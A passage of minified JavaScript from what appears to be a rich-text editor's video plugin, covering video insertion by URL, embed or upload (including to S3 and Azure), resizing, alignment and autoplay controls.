e=r.data("instance")||E;e.events.disableBlur(),r.find("input:focus").blur(),e.events.enableBlur(),e.video.upload(this.files)}L(this).val("")},!0)}(f),f}function m(e){E.events.focus(!0),E.selection.restore();var t=!1;if(y&&(q(),t=!0),E.opts.trackChangesEnabled){E.edit.on(),E.events.focus(!0),E.selection.restore(),E.undo.saveStep(),E.markers.insert(),E.html.wrap();var n=E.$el.find(".fr-marker");E.node.isLastSibling(n)&&n.parent().hasClass("fr-deletable")&&n.insertAfter(n.parent()),n.replaceWith('<span contenteditable="false" draggable="true" class="fr-jiv fr-video fr-deletable">'.concat(e,"</span>")),E.selection.clear()}else E.html.insert('<span contenteditable="false" draggable="true" class="fr-jiv fr-video fr-deletable">'.concat(e,"</span>"),!1,E.opts.videoSplitHTML);E.popups.hide("video.insert");var r=E.$el.find(".fr-jiv");r.removeClass("fr-jiv"),r.toggleClass("fr-rv",E.opts.videoResponsive),Q(r,E.opts.videoDefaultDisplay,E.opts.videoDefaultAlign),r.toggleClass("fr-draggable",E.opts.videoMove),E.events.trigger(t?"video.replaced":"video.inserted",[r])}function v(){var e=L(this);E.popups.hide("video.insert"),e.removeClass("fr-uploading"),e.parent().next().is("br")&&e.parent().next().remove(),c(e.parent()),E.events.trigger("video.loaded",[e.parent()])}function _(s,e,l,c,d,f){E.edit.off(),b("Loading video"),e&&(s=E.helpers.sanitizeURL(s));var p=function p(){var e,t;if(c){E.undo.canDo()||c.find("video").hasClass("fr-uploading")||E.undo.saveStep();var n=c.find("video").data("fr-old-src"),r=c.data("fr-replaced");if(c.data("fr-replaced",!1),0<c.find("iframe").length)c.remove(),e=M(s,l,v);else{E.$wp?((e=c.clone(!0)).find("video").removeData("fr-old-src").removeClass("fr-uploading"),e.find("video").off("canplay"),n&&c.find("video").attr("src",n),c.replaceWith(e)):e=c;for(var a=e.find("video").get(0).attributes,o=0;o<a.length;o++){var i=a[o];0===i.nodeName.indexOf("data-")&&e.find("video").removeAttr(i.nodeName)}if(void 0!==l)for(t in l)l.hasOwnProperty(t)&&"link"!=t&&e.find("video").attr("data-".concat(t),l[t]);e.find("video").on("canplay",v),e.find("video").attr("src",s)}E.edit.on(),P(),E.undo.saveStep(),E.$el.blur(),E.events.trigger(r?"video.replaced":"video.inserted",[e,d])}else e=M(s,l,v,f),P(),E.undo.saveStep(),E.events.trigger("video.inserted",[e,d])};S("Loading video"),p()}function S(e){var t=E.popups.get("video.insert");if(t||(t=i()),t.find(".fr-layer.fr-active").removeClass("fr-active").addClass("fr-pactive"),t.find(".fr-video-progress-bar-layer").addClass("fr-active"),t.find(".fr-buttons").hide(),y){var n=y.find("iframe, embed, ".concat(y.find("iframe, embed, audio").get(0)?"audio":"video"));E.popups.setContainer("video.insert",E.$sc);var r=n.offset().left,a=n.offset().top+n.height();E.popups.show("video.insert",r,a,n.outerHeight())}void 0===e&&b(E.language.translate("Uploading"),0)}function l(e){var t=E.popups.get("video.insert");if(t&&(t.find(".fr-layer.fr-pactive").addClass("fr-active").removeClass("fr-pactive"),t.find(".fr-video-progress-bar-layer").removeClass("fr-active"),t.find(".fr-buttons").show(),e||E.$el.find("video.fr-error").length)){if(E.events.focus(),E.$el.find("video.fr-error").length&&(E.$el.find("video.fr-error").parent().remove(),E.undo.saveStep(),E.undo.run(),E.undo.dropRedo()),!E.$wp&&y){var n=y;H(!0),E.selection.setAfter(n.find("video").get(0)),E.selection.restore()}E.popups.hide("video.insert")}}function b(e,t){var n=E.popups.get("video.insert");if(n){var r=n.find(".fr-video-progress-bar-layer");r.find("h3").text(e+(t?" ".concat(t,"%"):"")),r.removeClass("fr-error"),t?(r.find("div").removeClass("fr-indeterminate"),r.find("div > span").css("width","".concat(t,"%"))):r.find("div").addClass("fr-indeterminate")}}function C(e){S();var t=E.popups.get("video.insert").find(".fr-video-progress-bar-layer");t.addClass("fr-error");var n=t.find("h3");n.text(e),E.events.disableBlur(),n.focus()}function c(e){t.call(e.get(0))}function k(e,t,n){b("Loading video");var r=this.status,a=this.response,o=this.responseXML,i=this.responseText;try{if(E.opts.videoUploadToS3||E.opts.videoUploadToAzure)if(201==r){var s;if(E.opts.videoUploadToAzure){if(!1===E.events.trigger("video.uploadedToAzure",[this.responseURL,n,a],!0))return E.edit.on(),!1;s=t}else s=function c(e){try{var t=L(e).find("Location").text(),n=L(e).find("Key").text();return!1===E.events.trigger("video.uploadedToS3",[t,n,e],!0)?(E.edit.on(),!1):t}catch(r){return W(h,e),!1}}(o);s&&_(s,!1,[],e,a||o)}else W(h,a||o);else if(200<=r&&r<300){var l=function d(e){try{if(!1===E.events.trigger("video.uploaded",[e],!0))return E.edit.on(),!1;var t=JSON.parse(e);return t.link?t:(W(p,e),!1)}catch(n){return W(h,e),!1}}(i);l&&_(l.link,!1,l,e,a||i)}else W(u,a||i)}catch(f){W(h,a||i)}}function x(){W(h,this.response||this.responseText||this.responseXML)}function R(e){if(e.lengthComputable){var t=e.loaded/e.total*100|0;b(E.language.translate("Uploading"),t)}}function N(){E.edit.on(),l(!0)}function M(e,t,n,r){var a,o,i="";if(t&&void 0!==t)for(a in t)t.hasOwnProperty(a)&&"link"!=a&&(i+=" ".concat(a,'="').concat(t[a],'"'));var s=E.opts.videoDefaultWidth;s&&"auto"!=s&&(s="".concat(s,"px")),E.helpers.isMobile()&&E.browser.safari&&(i+=" autoplay playsinline"),(o="audio"==r?L(document.createElement("span")).attr("contenteditable","false").attr("draggable","true").attr("class","fr-video fr-dv"+E.opts.videoDefaultDisplay[0]+("center"!=E.opts.videoDefaultAlign?" fr-fv"+E.opts.videoDefaultAlign[0]:"")).html('<audio src="'+e+'" '+i+" controls>"+E.language.translate("Your browser does not support HTML5 video.")+"</audio>"):L(document.createElement("span")).attr("contenteditable","false").attr("draggable","true").attr("class","fr-video fr-dv"+E.opts.videoDefaultDisplay[0]+("center"!=E.opts.videoDefaultAlign?" fr-fv"+E.opts.videoDefaultAlign[0]:"")).html('<video src="'+e+'" '+i+(s?' style="width: '+s+';" ':"")+" controls>"+E.language.translate("Your browser does not support HTML5 video.")+"</video>")).toggleClass("fr-draggable",E.opts.videoMove),E.edit.on(),E.events.focus(!0),E.selection.restore(),E.undo.saveStep(),E.opts.videoSplitHTML?E.markers.split():(E.cursor.enter(),E.markers.insert()),E.html.wrap();var l=E.$el.find(".fr-marker");return E.node.isLastSibling(l)&&l.parent().hasClass("fr-deletable")&&l.insertAfter(l.parent()),l.replaceWith(o),E.selection.clear(),"audio"!==r&&(o.find("video").get(0).readyState>o.find("video").get(0).HAVE_FUTURE_DATA||E.helpers.isIOS()?n.call(o.find("video").get(0)):o.find("video").on("canplaythrough load",n)),o}function O(e){if(!E.core.sameInstance(f))return!0;e.preventDefault(),e.stopPropagation();var t=e.pageX||(e.originalEvent.touches?e.originalEvent.touches[0].pageX:null),n=e.pageY||(e.originalEvent.touches?e.originalEvent.touches[0].pageY:null);if(!t||!n)return!1;if("mousedown"==e.type){var r=E.$oel.get(0).ownerDocument,a=r.defaultView||r.parentWindow,o=!1;try{o=a.location!=a.parent.location&&!(a.$&&a.$.FE)}catch(i){}o&&a.frameElement&&(t+=E.helpers.getPX(L(a.frameElement).offset().left)+a.frameElement.clientLeft,n=e.clientY+E.helpers.getPX(L(a.frameElement).offset().top)+a.frameElement.clientTop)}E.undo.canDo()||E.undo.saveStep(),(d=L(this)).data("start-x",t),d.data("start-y",n),s.show(),E.popups.hideAll(),z()}function I(e){if(!E.core.sameInstance(f))return!0;if(d){e.preventDefault();var t=e.pageX||(e.originalEvent.touches?e.originalEvent.touches[0].pageX:null),n=e.pageY||(e.originalEvent.touches?e.originalEvent.touches[0].pageY:null);if(!t||!n)return!1;var r=d.data("start-x"),a=d.data("start-y");d.data("start-x",t),d.data("start-y",n);var o=t-r,i=n-a,s=y.find("iframe, embed, ".concat(y.find("iframe, embed, audio").get(0)?"audio":"video")),l=s.width(),c=s.height();(d.hasClass("fr-hnw")||d.hasClass("fr-hsw"))&&(o=0-o),(d.hasClass("fr-hnw")||d.hasClass("fr-hne"))&&(i=0-i),s.css("width",l+o),s.css("height",c+i),s.removeAttr("width"),s.removeAttr("height"),$()}}function D(e){if(!E.core.sameInstance(f))return!0;d&&y&&(e&&e.stopPropagation(),d=null,s.hide(),$(),o(),E.undo.saveStep())}function B(e){return'<div class="fr-handler fr-h'.concat(e,'"></div>')}function F(e,t,n,r){return e.pageX=t,e.pageY=t,O.call(this,e),e.pageX=e.pageX+n*Math.floor(Math.pow(1.1,r)),e.pageY=e.pageY+n*Math.floor(Math.pow(1.1,r)),I.call(this,e),D.call(this,e),++r}function P(){var e,t=Array.prototype.slice.call(E.el.querySelectorAll("video, .fr-video > *")),n=[];for(e=0;e<t.length;e++)n.push(t[e].getAttribute("src")),L(t[e]).toggleClass("fr-draggable",E.opts.videoMove),""===t[e].getAttribute("class")&&t[e].removeAttribute("class"),""===t[e].getAttribute("style")&&t[e].removeAttribute("style");if(r)for(e=0;e<r.length;e++)n.indexOf(r[e].getAttribute("src"))<0&&E.events.trigger("video.removed",[L(r[e])]);r=t}function $(){f||function i(){var e;if(E.shared.$video_resizer?(f=E.shared.$video_resizer,s=E.shared.$vid_overlay,E.events.on("destroy",function(){L("body").first().append(f.removeClass("fr-active"))},!0)):(E.shared.$video_resizer=L(document.createElement("div")).attr("class","fr-video-resizer"),f=E.shared.$video_resizer,E.events.$on(f,"mousedown",function(e){e.stopPropagation()},!0),E.opts.videoResize&&(f.append(B("nw")+B("ne")+B("sw")+B("se")),E.shared.$vid_overlay=L(document.createElement("div")).attr("class","fr-video-overlay"),s=E.shared.$vid_overlay,e=f.get(0).ownerDocument,L(e).find("body").first().append(s))),E.events.on("shared.destroy",function(){f.html("").removeData().remove(),f=null,E.opts.videoResize&&(s.remove(),s=null)},!0),E.helpers.isMobile()||E.events.$on(L(E.o_win),"resize.video",function(){H(!0)}),E.opts.videoResize){e=f.get(0).ownerDocument,E.events.$on(f,E._mousedown,".fr-handler",O),E.events.$on(L(e),E._mousemove,I),E.events.$on(L(e.defaultView||e.parentWindow),E._mouseup,D),E.events.$on(s,"mouseleave",D);var r=1,a=null,o=0;E.events.on("keydown",function(e){if(y){var t=-1!=navigator.userAgent.indexOf("Mac OS X")?e.metaKey:e.ctrlKey,n=e.which;(n!==a||200<e.timeStamp-o)&&(r=1),(n==kt.KEYCODE.EQUALS||E.browser.mozilla&&n==kt.KEYCODE.FF_EQUALS)&&t&&!e.altKey?r=F.call(this,e,1,1,r):(n==kt.KEYCODE.HYPHEN||E.browser.mozilla&&n==kt.KEYCODE.FF_HYPHEN)&&t&&!e.altKey&&(r=F.call(this,e,2,-1,r)),a=n,o=e.timeStamp}}),E.events.on("keyup",function(){r=1})}}(),(E.$wp||E.$sc).append(f),f.data("instance",E);var e=y.find("iframe, embed, ".concat(y.find("iframe, embed, audio").get(0)?"audio":"video")),t=0,n=0;E.opts.iframe&&(n=E.helpers.getPX(E.$wp.find(".fr-iframe").css("padding-top")),t=E.helpers.getPX(E.$wp.find(".fr-iframe").css("padding-left"))),f.css("top",(E.opts.iframe?e.offset().top+n-1:e.offset().top-E.$wp.offset().top-1)+E.$wp.scrollTop()).css("left",(E.opts.iframe?e.offset().left+t-1:e.offset().left-E.$wp.offset().left-1)+E.$wp.scrollLeft()).css("width",e.get(0).getBoundingClientRect().width).css("height",e.get(0).getBoundingClientRect().height).addClass("fr-active")}function t(e){if(e&&"touchend"==e.type&&n)return!0;if(e&&E.edit.isDisabled())return e.stopPropagation(),e.preventDefault(),!1;if(E.edit.isDisabled())return!1;for(var t=0;t<kt.INSTANCES.length;t++)kt.INSTANCES[t]!=E&&kt.INSTANCES[t].events.trigger("video.hideResizer");E.toolbar.disable(),E.helpers.isMobile()&&(E.events.disableBlur(),E.$el.blur(),E.events.enableBlur()),E.$el.find(".fr-video.fr-active").removeClass("fr-active"),(y=L(this)).addClass("fr-active"),E.opts.iframe&&E.size.syncIframe(),te(),$(),o(),E.selection.clear(),E.button.bulkRefresh(),E.events.trigger("image.hideResizer")}function H(e){y&&(function t(){return E.shared.vid_exit_flag}()||!0===e)&&(f.removeClass("fr-active"),E.toolbar.enable(),y.removeClass("fr-active"),y=null,z())}function U(){E.shared.vid_exit_flag=!0}function z(){E.shared.vid_exit_flag=!1}function K(e){var t=e.originalEvent.dataTransfer;if(t&&t.files&&t.files.length){var n=t.files[0];if(n&&n.type&&-1!==n.type.indexOf("video")){if(!E.opts.videoUpload)return e.preventDefault(),e.stopPropagation(),!1;E.markers.remove(),E.markers.insertAtPoint(e.originalEvent),E.$el.find(".fr-marker").replaceWith(kt.MARKERS),E.popups.hideAll();var r=E.popups.get("video.insert");return r||(r=i()),E.popups.setContainer("video.insert",E.$sc),E.popups.show("video.insert",e.originalEvent.pageX,e.originalEvent.pageY),S(),0<=E.opts.videoAllowedTypes.indexOf(n.type.replace(/video\//g,""))?V(t.files):W(A),e.preventDefault(),e.stopPropagation(),!1}}}function V(e){if(void 0!==e&&0<e.length){if(!1===E.events.trigger("video.beforeUpload",[e]))return!1;var t,n=e[0];if(!(null!==E.opts.videoUploadURL&&E.opts.videoUploadURL!=T||E.opts.videoUploadToS3||E.opts.videoUploadToAzure))return function C(r){y&&y.find("iframe")&&y.find("iframe").length&&q();var a=new FileReader;a.onload=function(){a.result;for(var e=atob(a.result.split(",")[1]),t=[],n=0;n<e.length;n++)t.push(e.charCodeAt(n));_(window.URL.createObjectURL(new Blob([new Uint8Array(t)],{type:r.type})),!1,null,y)},S(),a.readAsDataURL(r)}(n),!1;if(n.size>E.opts.videoMaxSize)return W(w),!1;if(E.opts.videoAllowedTypes.indexOf(n.type.replace(/video\//g,""))<0)return W(A),!1;if(E.drag_support.formdata&&(t=E.drag_support.formdata?new FormData:null),t){var r;if(!1!==E.opts.videoUploadToS3)for(r in t.append("key",E.opts.videoUploadToS3.keyStart+(new Date).getTime()+"-"+(n.name||"untitled")),t.append("success_action_status","201"),t.append("X-Requested-With","xhr"),t.append("Content-Type",n.type),E.opts.videoUploadToS3.params)E.opts.videoUploadToS3.params.hasOwnProperty(r)&&t.append(r,E.opts.videoUploadToS3.params[r]);for(r in E.opts.videoUploadParams)E.opts.videoUploadParams.hasOwnProperty(r)&&t.append(r,E.opts.videoUploadParams[r]);t.append(E.opts.videoUploadParam,n);var a,o,i=E.opts.videoUploadURL;E.opts.videoUploadToS3&&(i=E.opts.videoUploadToS3.uploadURL?E.opts.videoUploadToS3.uploadURL:"https://".concat(E.opts.videoUploadToS3.region,".amazonaws.com/").concat(E.opts.videoUploadToS3.bucket));var s=E.opts.videoUploadMethod;E.opts.videoUploadToAzure&&(i=E.opts.videoUploadToAzure.uploadURL?"".concat(E.opts.videoUploadToAzure.uploadURL,"/").concat(n.name):encodeURI("https://".concat(E.opts.videoUploadToAzure.account,".blob.core.windows.net/").concat(E.opts.videoUploadToAzure.container,"/").concat(n.name)),a=i,E.opts.videoUploadToAzure.SASToken&&(i+=E.opts.videoUploadToAzure.SASToken),s="PUT");var l=E.core.getXHR(i,s);if(E.opts.videoUploadToAzure){var c=(new Date).toUTCString();if(!E.opts.videoUploadToAzure.SASToken&&E.opts.videoUploadToAzure.accessKey){var d=E.opts.videoUploadToAzure.account,f=E.opts.videoUploadToAzure.container;if(E.opts.videoUploadToAzure.uploadURL){var p=E.opts.videoUploadToAzure.uploadURL.split("/");f=p.pop(),d=p.pop().split(".")[0]}var u="x-ms-blob-type:BlockBlob\nx-ms-date:".concat(c,"\nx-ms-version:2019-07-07"),h=encodeURI("/"+d+"/"+f+"/"+n.name),g=s+"\n\n\n"+n.size+"\n\n"+n.type+"\n\n\n\n\n\n\n"+u+"\n"+h,m=E.cryptoJSPlugin.cryptoJS.HmacSHA256(g,E.cryptoJSPlugin.cryptoJS.enc.Base64.parse(E.opts.videoUploadToAzure.accessKey)).toString(E.cryptoJSPlugin.cryptoJS.enc.Base64),v="SharedKey "+d+":"+m;o=m,l.setRequestHeader("Authorization",v)}for(r in l.setRequestHeader("x-ms-version","2019-07-07"),l.setRequestHeader("x-ms-date",c),l.setRequestHeader("Content-Type",n.type),l.setRequestHeader("x-ms-blob-type","BlockBlob"),E.opts.videoUploadParams)E.opts.videoUploadParams.hasOwnProperty(r)&&l.setRequestHeader(r,E.opts.videoUploadParams[r]);for(r in E.opts.videoUploadToAzure.params)E.opts.videoUploadToAzure.params.hasOwnProperty(r)&&l.setRequestHeader(r,E.opts.videoUploadToAzure.params[r])}l.onload=function(){k.call(l,y,a,o)},l.onerror=x,l.upload.onprogress=R,l.onabort=N,S(),E.events.disableBlur(),E.edit.off(),E.events.enableBlur();var b=E.popups.get("video.insert");b&&L(b.off("abortUpload")).on("abortUpload",function(){4!=l.readyState&&l.abort()}),l.send(E.opts.videoUploadToAzure?n:t)}}}function W(e,t){E.edit.on(),y&&y.find("video").addClass("fr-error"),C(E.language.translate("Something went wrong. Please try again.")),E.events.trigger("video.error",[{code:e,message:a[e]},t])}function G(){if(y){var e=E.popups.get("video.size"),t=y.find("iframe, embed, ".concat(y.find("iframe, embed, audio").get(0)?"audio":"video"));e.find('input[name="width"]').val(t.get(0).style.width||t.attr("width")).trigger("change"),e.find('input[name="height"]').val(t.get(0).style.height||t.attr("height")).trigger("change")}}function Y(e){if(e)return E.popups.onRefresh("video.size",G),!0;var t={buttons:'<div class="fr-buttons fr-tabs">'.concat(E.button.buildList(E.opts.videoSizeButtons),"</div>"),size_layer:'<div class="fr-video-size-layer fr-layer fr-active" id="fr-video-size-layer-'.concat(E.id,'"><div class="fr-video-group"><div class="fr-input-line"><input id="fr-video-size-layer-width-').concat(E.id,'" type="text" name="width" placeholder="').concat(E.language.translate("Width"),'" tabIndex="1"></div><div class="fr-input-line"><input id="fr-video-size-layer-height-').concat(E.id,'" type="text" name="height" placeholder="').concat(E.language.translate("Height"),'" tabIndex="1"></div></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="videoSetSize" tabIndex="2" role="button">').concat(E.language.translate("Update"),"</button></div></div>")},n=E.popups.create("video.size",t);return E.events.$on(E.$wp,"scroll",function(){y&&E.popups.isVisible("video.size")&&(E.events.disableBlur(),c(y))}),n}function j(e){if(void 0===e&&(e=y),e){if(e.hasClass("fr-fvl"))return"left";if(e.hasClass("fr-fvr"))return"right";if(e.hasClass("fr-dvb")||e.hasClass("fr-dvi"))return"center";if("block"==e.css("display")){if("left"==e.css("text-algin"))return"left";if("right"==e.css("text-align"))return"right"}else{if("left"==e.css("float"))return"left";if("right"==e.css("float"))return"right"}}return"center"}function Z(e){void 0===e&&(e=y);var t=e.css("float");return e.css("float","none"),"block"==e.css("display")?(e.css("float",""),e.css("float")!=t&&e.css("float",t),"block"):(e.css("float",""),e.css("float")!=t&&e.css("float",t),"inline")}function q(){if(y&&!1!==E.events.trigger("video.beforeRemove",[y])){var e=y;if(E.popups.hideAll(),H(!0),E.opts.trackChangesEnabled&&(!e[0].parentNode||"SPAN"!==e[0].parentNode.tagName||!e[0].parentNode.hasAttribute("data-tracking")))return void E.track_changes.removeSpecialItem(e);E.selection.setBefore(e.get(0))||E.selection.setAfter(e.get(0)),e.remove(),E.selection.restore(),E.html.fillEmptyBlocks()}}function X(){l()}function Q(e,t,n){!E.opts.htmlUntouched&&E.opts.useClasses?(e.removeClass("fr-fvl fr-fvr fr-dvb fr-dvi"),e.addClass("fr-fv".concat(n[0]," fr-dv").concat(t[0]))):"inline"==t?(e.css({display:"inline-block"}),"center"==n?e.css({"float":"none"}):"left"==n?e.css({"float":"left"}):e.css({"float":"right"})):(e.css({display:"block",clear:"both"}),"left"==n?e.css({textAlign:"left"}):"right"==n?e.css({textAlign:"right"}):e.css({textAlign:"center"}))}function J(){var e=E.$el.find("video").filter(function(){return 0===L(this).parents("span.fr-video").length});if(0!=e.length){e.wrap(L(document.createElement("span")).attr("class","fr-video fr-deletable").attr("contenteditable","false")),E.$el.find("embed, iframe").filter(function(){if(E.browser.safari&&this.getAttribute("src")&&this.setAttribute("src",this.src),0<L(this).parents("span.fr-video").length)return!1;for(var e=L(this).attr("src"),t=0;t<kt.VIDEO_PROVIDERS.length;t++){var n=kt.VIDEO_PROVIDERS[t];if(n.test_regex.test(e)&&new RegExp(E.opts.videoAllowedProviders.join("|")).test(n.provider))return!0}return!1}).map(function(){return 0===L(this).parents("object").length?this:L(this).parents("object").get(0)}).wrap(L(document.createElement("span")).attr("class","fr-video").attr("contenteditable","false"));for(var t,n,r,a,o=E.$el.find("span.fr-video, video"),i=0;i<o.length;i++){var s=L(o[i]);!E.opts.htmlUntouched&&E.opts.useClasses?((a=s).hasClass("fr-dvi")||a.hasClass("fr-dvb")||(a.addClass("fr-fv".concat(j(a)[0])),a.addClass("fr-dv".concat(Z(a)[0]))),E.opts.videoTextNear||s.removeClass("fr-dvi").addClass("fr-dvb")):E.opts.htmlUntouched||E.opts.useClasses||(void 0,n=(t=s).hasClass("fr-dvb")?"block":t.hasClass("fr-dvi")?"inline":null,r=t.hasClass("fr-fvl")?"left":t.hasClass("fr-fvr")?"right":j(t),Q(t,n,r),t.removeClass("fr-dvb fr-dvi fr-fvr fr-fvl"))}o.toggleClass("fr-draggable",E.opts.videoMove)}}function ee(e){document.getElementById("autoplay-".concat(E.id)).style.cssText="background:".concat(e)}function te(){if(y){E.selection.clear();var e=E.doc.createRange();e.selectNode(y.get(0)),E.selection.get().addRange(e)}}return a[1]="Video cannot be loaded from the passed link.",a[p]="No link in upload response.",a[u]="Error during file upload.",a[h]="Parsing response failed.",a[w]="File is too large.",a[A]="Video file type is invalid.",a[7]="Files can be uploaded only to same domain in IE 8 and IE 9.",E.shared.vid_exit_flag=!1,{_init:function ne(){E.opts.videoResponsive&&(E.opts.videoResize=!1),function e(){E.events.on("drop",K,!0),E.events.on("mousedown window.mousedown",U),E.events.on("window.touchmove",z),E.events.on("mouseup window.mouseup",H),E.events.on("commands.mousedown",function(e){0<e.parents(".fr-toolbar").length&&H()}),E.events.on("video.hideResizer commands.undo commands.redo element.dropped",function(){H(!0)}),E.events.on("filestack-init-video",function(){i()})}(),E.helpers.isMobile()&&(E.events.$on(E.$el,"touchstart","span.fr-video",function(){n=!1}),E.events.$on(E.$el,"touchmove",function(){n=!0})),E.events.on("html.set",J),J(),E.events.$on(E.$el,"mousedown","span.fr-video",function(e){e.stopPropagation(),(E.browser.msie||E.browser.edge)&&(e.target.innerText||(e.target.dragDrop(),t.call(this,e)))}),E.events.$on(E.$el,"click touchend","span.fr-video",function(e){if(e.target.innerText.length||"false"==L(this).parents("[contenteditable]").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;t.call(this,e)}),E.events.on("keydown",function(e){var t=e.which;return!y||t!=kt.KEYCODE.BACKSPACE&&t!=kt.KEYCODE.DELETE?y&&t==kt.KEYCODE.ESC?(H(!0),e.preventDefault(),!1):y&&t!=kt.KEYCODE.F10&&!E.keys.isBrowserAction(e)?(e.preventDefault(),!1):void 0:(e.preventDefault(),q(),E.undo.saveStep(),!1)},!0),E.events.on("toolbar.esc",function(){if(y)return E.events.disableBlur(),E.events.focus(),!1},!0),E.events.on("toolbar.focusEditor",function(){if(y)return!1},!0),E.events.on("keydown",function(){E.$el.find("span.fr-video:empty").remove()}),E.$wp&&(P(),E.events.on("contentChanged",P)),i(!0),Y(!0)},showInsertPopup:function re(){var e=E.$tb.find('.fr-command[data-cmd="insertVideo"]'),t=E.popups.get("video.insert");if(t||(t=i()),l(),!t.hasClass("fr-active"))if(E.popups.refresh("video.insert"),E.popups.setContainer("video.insert",E.$tb),e.isVisible()){var n=E.button.getPosition(e),r=n.left,a=n.top;E.popups.show("video.insert",r,a,e.outerHeight())}else E.position.forSelection(t),E.popups.show("video.insert")},showLayer:function ae(e){var t,n,r=E.popups.get("video.insert");if(!y&&!E.opts.toolbarInline){var a=E.$tb.find('.fr-command[data-cmd="insertVideo"]');t=a.offset().left,n=a.offset().top+(E.opts.toolbarBottom?10:a.outerHeight()-10)}E.opts.toolbarInline&&(n=r.offset().top-E.helpers.getPX(r.css("margin-top")),r.hasClass("fr-above")&&(n+=r.outerHeight())),r.find(".fr-layer").removeClass("fr-active"),r.find(".fr-".concat(e,"-layer")).addClass("fr-active"),E.popups.show("video.insert",t,n,0),E.accessibility.focusPopup(r)},refreshByURLButton:function oe(e){var t=E.popups.get("video.insert");t&&t.find(".fr-video-by-url-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},refreshEmbedButton:function ie(e){var t=E.popups.get("video.insert");t&&t.find(".fr-video-embed-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},refreshUploadButton:function se(e){var t=E.popups.get("video.insert");t&&t.find(".fr-video-upload-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},upload:V,insertByURL:function le(e){var t=!!document.getElementById("videoPluginAutoplay")&&document.getElementById("videoPluginAutoplay").checked;if(void 0===e){var n=(e=(E.popups.get("video.insert").find('.fr-video-by-url-layer input[type="text"]').val()||"").trim()).match(/(https?:\/\/)?(www\.)?(player\.)?vimeo\.com\/?(showcase\/)*([0-9))([a-z]*\/)*([0-9]{6,11})[?]?.*/);if(n&&7==n.length){var r=n[6],a=e.substring(0,e.lastIndexOf("/")),o=e.substring(e.lastIndexOf("/")+1,e.length);e=o.includes("?h=")||o.includes("?v=")||r===o?("".concat(a,"/").concat(o)||"").trim():("".concat(a,"?h=").concat(o)||"").trim()}}var i=null;if(/^http/.test(e)||(e="https://".concat(e)),E.helpers.isURL(e))for(var s=0;s<kt.VIDEO_PROVIDERS.length;s++){var l=kt.VIDEO_PROVIDERS[s],c="autoplay=1&mute=1";if(l.html.includes("autoplay=1")&&document.getElementById("videoPluginAutoplay").checked)l.html=l.html,document.getElementById("videoPluginAutoplay").checked=!1;else if(t){var d=l.html.indexOf("{url}")+5;l.html=[l.html.slice(0,d),c,l.html.slice(d)].join(""),t=!1,document.getElementById("videoPluginAutoplay").checked=!1}else(l=kt.VIDEO_PROVIDERS[s]).html=l.html.replace(c,"");if(l.test_regex.test(e)&&new RegExp(E.opts.videoAllowedProviders.join("|")).test(l.provider)){i=e.replace(l.url_regex,l.url_text),i=l.html.replace(/\{url\}/,i);break}}i?m(i):(C(E.language.translate("Something went wrong. Please try again.")),E.events.trigger("video.linkError",[e]))},insertEmbed:function ce(e){void 0===e&&(e=E.popups.get("video.insert").find(".fr-video-embed-layer textarea").val()||""),0!==e.length&&kt.VIDEO_EMBED_REGEX.test(e)?m(e):(C(E.language.translate("Something went wrong. Please try again.")),E.events.trigger("video.codeError",[e]))},insert:m,align:function de(e){y.removeClass("fr-fvr fr-fvl"),!E.opts.htmlUntouched&&E.opts.useClasses?"left"==e?y.addClass("fr-fvl"):"right"==e&&y.addClass("fr-fvr"):Q(y,Z(),e),te(),$(),o(),E.selection.clear()},refreshAlign:function fe(e){if(!y)return!1;e.find(">*").first().replaceWith(E.icon.create("video-align-".concat(j())))},refreshAlignOnShow:function pe(e,t){y&&t.find('.fr-command[data-param1="'.concat(j(),'"]')).addClass("fr-active").attr("aria-selected",!0)},display:function ue(e){y.removeClass("fr-dvi fr-dvb"),!E.opts.htmlUntouched&&E.opts.useClasses?"inline"==e?y.addClass("fr-dvi"):"block"==e&&y.addClass("fr-dvb"):Q(y,e,j()),te(),$(),o(),E.selection.clear()},refreshDisplayOnShow:function he(e,t){y&&t.find('.fr-command[data-param1="'.concat(Z(),'"]')).addClass("fr-active").attr("aria-selected",!0)},remove:q,hideProgressBar:l,showSizePopup:function ge(){var e=E.popups.get("video.size");e||(e=Y()),l(),E.popups.refresh("video.size"),E.popups.setContainer("video.size",E.$sc);var t=y.find("iframe, embed, ".concat(y.find("iframe, embed, audio").get(0)?"audio":"video")),n=t.offset().left+t.outerWidth()/2,r=t.offset().top+t.height();E.popups.show("video.size",n,r,t.height(),!0)},replace:function me(){var e=E.popups.get("video.insert");e||(e=i()),E.popups.isVisible("video.insert")||(l(),E.popups.refresh("video.insert"),E.popups.setContainer("video.insert",E.$sc));var t=y.offset().left+y.outerWidth()/2,n=y.offset().top+y.height();E.popups.show("video.insert",t,n,y.outerHeight(),!0)},back:function e(){y?(E.events.disableBlur(),y[0].click()):(E.events.disableBlur(),E.selection.restore(),E.events.enableBlur(),E.popups.hide("video.insert"),E.toolbar.showInline())},setSize:function ve(e,t){if(y){var n=E.popups.get("video.size"),r=y.find("iframe, embed, ".concat(y.find("iframe, embed, audio").get(0)?"audio":"video"));r.css("width",e||n.find('input[name="width"]').val()),r.css("height",t||n.find('input[name="height"]').val()),r.get(0).style.width&&r.removeAttr("width"),r.get(0).style.height&&r.removeAttr("height"),n.find("input:focus").blur(),setTimeout(function(){y.trigger("click")},E.helpers.isAndroid()?50:0)}},get:function be(){return y},showProgressBar:S,_editVideo:c,setAutoplay:function Ce(){var e;if(y.find("iframe, embed, audio").get(0))(e=y.find("iframe, embed, audio")).get(0).src.includes("autoplay=1")?(ee("#FFFFFF"),e.get(0).src=e.get(0).src.replace("&autoplay=1","")):(ee("#D6D6D6"),e.get(0).src=e.get(0).src+"&autoplay=1");else if((e=y.find("iframe, embed, video")).get(0).outerHTML.includes("autoplay"))ee("#FFFFFF"),e.get(0).outerHTML=e.get(0).outerHTML.replace("autoplay","");else{ee("#D6D6D6");var t=e.get(0).outerHTML.indexOf("class")-1;e.get(0).outerHTML=[e.get(0).outerHTML.slice(0,t),"autoplay",e.get(0).outerHTML.slice(t)].join("")}},insertHtmlVideo:_}},kt.RegisterCommand("insertVideo",{title:"Insert 